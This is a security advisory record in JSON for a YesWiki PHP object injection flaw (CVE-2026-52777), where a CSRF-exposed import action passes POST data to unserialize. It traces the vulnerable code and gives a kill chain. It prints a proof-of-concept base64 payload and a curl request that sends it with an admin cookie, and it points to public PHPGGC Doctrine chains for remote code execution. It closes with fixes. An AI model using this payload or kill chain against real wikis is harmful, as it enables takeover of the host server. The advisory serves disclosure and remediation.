{"id":"GHSA-9369-69wj-7m2f","summary":"YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize","details":"## Details\n\n### Sink\n\n`tools/bazar/services/CSVManager.php` line 372-399:\n\n```\npublic function importEntry(array $importedEntries, string $formId): ?array\n{\n    if (!$this-\u003eimportdone) {\n        // ...\n        foreach ($importedEntries as $entry) {\n            $entry = unserialize(base64_decode($entry));   // \u003c-- SINK\n            $entry = array_map('strval', $entry);\n            // ...\n```\n\nThere is no `['allowed_classes' =\u003e false]` argument; arbitrary classes are instantiated. The subsequent `array_map('strval', $entry)` additionally exercises `__toString` on each top-level array element, doubling the magic-method surface available to a gadget chain.\n\n### Source\n\n`tools/bazar/actions/BazarImportAction.php`:\n\n```\n// formatArguments()\n'mode' =\u003e (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :\n    (isset($_POST['importfiche']) ? 'importentries' : 'default'),\n'importentries' =\u003e $_POST['importfiche'] ?? null,\n\n// run()\ncase 'importentries':\n    // ...\n    $importedEntries = $this-\u003eCSVManager-\u003eimportEntry($this-\u003earguments['importentries'], $vID['id']);\n    break;\n```\n\n`$_POST['importfiche']` flows directly to the sink. The `mode` switches to `'importentries'` whenever the request body contains the key, so an attacker need only POST `importfiche[0]=\u003cpayload\u003e`.\n\n### Reachability\n\n1. The action is registered as `bazarimport`. The default `BazaR` page (`setup/sql/default-content.sql` -\u003e `BazaR` page entry, ships with `{{bazar showexportbuttons=\"1\"}}`) routes `?BazaR&vue=importer&id_typeannonce=\u003cN\u003e` to `BazarAction::run()` -\u003e `case VOIR_IMPORTER -\u003e callAction('bazarimport', ...)` (`tools/bazar/actions/BazarAction.php:257-258`). So the sink is reachable on a default install with no extra page authoring.\n\n2. `BazarImportAction::run()` calls `$this-\u003echeckSecuredACL()` with the default `$adminOnly=true`. Only wiki admins (or accounts the admin has added to the `bazarimport` action ACL) can execute it.\n\n3. The `importentries` branch does NOT invoke `CsrfTokenController::checkToken(...)`. Grepping `tools/bazar/actions/BazarImportAction.php` confirms the action class has no `csrf` or `checkToken` reference at all. This is asymmetric with sibling actions: `tools/bazar/controllers/FormController.php` does call `checkToken('main', 'POST', 'confirmDeleteToken')` for destructive operations. The import path skips the same protection.\n\n4. Therefore the full kill chain for a remote attacker is:\n\n   a. Identify any admin user on the target wiki.\n   b. Deliver an HTML page (email, chat, link) that auto-POSTs `importfiche[0]=\u003cbase64-encoded PHPGGC payload\u003e` to `https://\u003cwiki\u003e/?BazaR&vue=importer&id_typeannonce=1`.\n   c. The admin's session cookie is sent automatically; the action passes `checkSecuredACL`; the unserialize fires.\n\n### Gadget chain availability\n\n`composer.json` requires `doctrine/annotations ^1.11` and `doctrine/cache ^1.10`. Both have published PHPGGC chains (`Doctrine/RCE1`, `Doctrine/FW1`, `Doctrine/FW2`, etc., from https://github.com/ambionics/phpggc). These chains terminate in either `system($cmd)` (RCE1) or `file_put_contents($php_file, $contents)` (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.\n\nThis advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.\n\n### Past advisories cross-check\n\nYesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an `unserialize` / PHP-object-injection sink, so this is a novel vulnerability class for the project.\n\n## PoC\n\nA self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled `__destruct` runs without booting the full application.\n\nRun:\n\n```\nphp poc.php\n```\n\nOutput (verbatim):\n\n```\nCrafted importfiche[0] payload (form-ready, urlencoded):\nYToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D\n\n== before importEntry ==\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\nPHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\n```\n\nThe two `[Gadget] __destruct fired` lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined `Gadget::__destruct` executed -- with the attacker-supplied marker -- inside the unmodified `importEntry` code path.\n\nEnd-to-end against a live YesWiki install:\n\n```\ncurl -i -b \"yeswiki_session=\u003cadmin_cookie\u003e\" \\\n     -X POST \"https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1\" \\\n     --data-urlencode \\\n     \"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==\"\n```\n\n(replace the payload with a real PHPGGC `Doctrine/FW1` or `Doctrine/RCE1` output to obtain RCE on the target host).\n\n## Impact\n\n- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).\n- An attacker who has already compromised an admin password upgrades from \"wiki content management\" to \"OS shell on the hosting box\".\n- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify `wakka.config.php`, dump the MySQL database, and pivot from there.\n\n## Suggested fix\n\n1. `tools/bazar/services/CSVManager.php::importEntry` -- pass `['allowed_classes' =\u003e false]` to `unserialize`, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (`?api/entries/{formId}` POST in `tools/bazar/presentation/javascripts/bazar-import.js`). The serialized-PHP transport appears to be an unused legacy path.\n2. `tools/bazar/actions/BazarImportAction.php` -- add a `CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)` guard for the `'importentries'` mode (and any other state-changing modes). The existing `tools/bazar/controllers/FormController.php` pattern can be lifted directly.","aliases":["CVE-2026-52777"],"modified":"2026-07-09T21:26:41.935923Z","published":"2026-07-09T21:02:58Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-352","CWE-502"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-07-09T21:02:58Z"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-9369-69wj-7m2f"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.6"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3","v4.5.4","v4.5.5","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.6.4","v4.6.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-9369-69wj-7m2f/GHSA-9369-69wj-7m2f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}